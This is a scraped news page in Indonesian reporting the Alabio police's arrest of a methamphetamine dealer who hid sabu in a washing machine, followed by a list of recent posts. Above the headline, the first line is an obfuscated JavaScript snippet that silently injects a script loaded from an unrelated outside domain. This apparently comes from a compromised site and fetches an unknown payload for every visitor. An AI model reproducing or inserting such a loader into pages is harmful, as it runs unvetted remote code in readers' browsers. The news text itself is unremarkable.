(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Simpan Sabu di Dalam Mesin Cuci, Polsek Alabio Ringkus Bandar Lintas Provinsi


AMUNTAI, Anggota Satnarkoba Kepolisian Sektor (Polsek) Alabio kembali meringkus bandar narkoba Budi Alias Cakung (39) di  rumahnya di Desa Banyu Tajun Hulu RT 05,Kecamatan Sungai Pandan, Kabupaten Hulu Sungai Utara (HSU). Tersangka ditangkap Sabtu (26/10) pukul 17.30 Wita.

Sebelumnya anggota Polsek Alabio memperoleh informasi akan adanya peredaran narkoba dari masyarakat. Kapolsek Alabio Iptu Teguh Budiyuwon, kepada kanalkalimantan.com, Minggu (27/10) membenarkan penangkapan tersangka Cakung.

Kepada  polisi, tersangka mengaku menjalankan bisnis haramnya tersebut lantaran tidak ada lagi pekerjaan lain.Sementara barang haram tersebut, diperolehnya dari pelaku lain yang katanya berasal dari Kalimantan Utara yang saat ini masih ditelusuri. “Alasan pelaku karena tidak ada kerjaan lain, lama jualan baru 2 minggu, adapun barang didapat dari Kalimantan Utara,” kata Kapolsek Alabio saat dikonfirmasi.

Dia menjelaskan, sebelumnya saat penangkapan Cakung sudah berupaya untuk kabur. Namun kesigapan aparat, akhirnya bisa meringkusnya. Usai mengamankan pelaku, kemudian dilakukan penggeledahan dan ditemukan 1 kantong plastik besar hitam berisikan 1 dompet kecil di dalamnya berisikan 3 paket narkotika jenis sabu yang berada di dalam mesin cuci. 3 paket sabu yang berhasil disita polisi tersebut memiliki berat keseluruhan mencapai 14.98 gram dengan berat bersih 14.38 gram.

Ada pun barang bukti lainnya seperti 1 buah HP dan uang tunai sebesar Rp. 2.550.000 ikut disita polisi sebagai barang bukti. Selanjutnya tersangka bersama barang tersebut digelandang petugas ke Mapolsek Alabio guna proses penyidikan lebih lanjut.

Atas perbuatannya tersebut pelaku bakal dijerat Undang-undang pasal 114 ayat (2) dan atau Pasal 112 ayat (2) UU nomor 35 tahun 2009 tentang Narkotika, dengan ancaman hukuman 20 tahun penjara.(dew)

Reporter : Dew
Editor : Chell


Desy Arfianty

Recent Posts

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

57 menit ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

2 jam ago

Waket I DPRD Kapuas Apresiasi Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More

2 jam ago

Kafilah HSU Paling Awal Tampil saat Pawai Ta’aruf MTQ

KANALKALIMANTAN.COM, RANTAU - Kafilah Hulu Sungai Utara (HSU) menjadi pembuka dalam parade Pawai Ta'aruf Musabaqah… Read More

3 jam ago

Pj Bupati HSU Hadiri Pembukaan MTQN XXXV Kalsel di Tapin

KANALKALIMANTAN.COM, RANTAU - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melambaikan tangan memberikan semangat untuk… Read More

4 jam ago

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

18 jam ago

This website uses cookies.